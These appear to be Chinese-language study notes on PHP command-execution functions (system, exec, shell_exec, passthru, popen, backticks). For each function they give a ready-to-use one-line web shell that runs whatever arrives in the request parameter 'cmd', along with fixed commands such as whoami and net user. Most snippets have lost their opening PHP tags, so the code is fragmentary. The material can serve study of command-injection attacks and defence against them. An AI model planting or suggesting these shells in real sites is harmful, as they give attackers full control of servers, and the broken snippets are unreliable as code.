特点:
system()
中输入对应系统的命令即可使用
system("<系统命令>");
?>
如
<pre>
<?php
system("ipconfig");
?>
动态执行命令
<pre>
<?php
$cmd = $_REQUEST['cmd'];
system($cmd);
?>
特点:
使用
exec("<系统命令>");
// 输出需手动
?>
例
exec("ipconfig");
// 输出需手动
?>
不自动回显,但执行
回显(只有最后一行)
echo exec("ipconfig");
?>
动态执行命令
$cmd=$_REQUEST['cmd'];
echo exec($cmd);
?>
需要手动输出命令执行结果。
使用
shell_exec("<命令>");
?>
示例
$cmd=$_REQUEST['cmd'];
echo shell_exec($cmd);
?>
自带输出功能。
passthru("<命令>");
?>
例
passthru("net user");
?>
动态执行
$cmd=$_REQUEST['cmd'];
echo passthru($cmd);
?>
在 PHP 中,popen()
函数用于打开一个管道,并返回一个指向该管道的文件指针。允许在 PHP 脚本中执行外部命令或程序,并与其进行交互。
注意,两个参数
popen(<命令>,"r"); // read,以读取的方式打开
?>
示例
$cmd = $_REQUEST['cmd'];
$result = popen($cmd, 'r');
echo fread($result, 1024);
// fread() 函数从管道中读取最多 1024 字节的输出
?>
反引号``
内的字符串,会被解析成OS 命令。
不自动输出
使用
`<命令>`;
?>
示例
echo `whoami`;
?>
动态执行
<pre>
<?php
$cmd=$_REQUEST['cmd'];
echo `$cmd`;
?>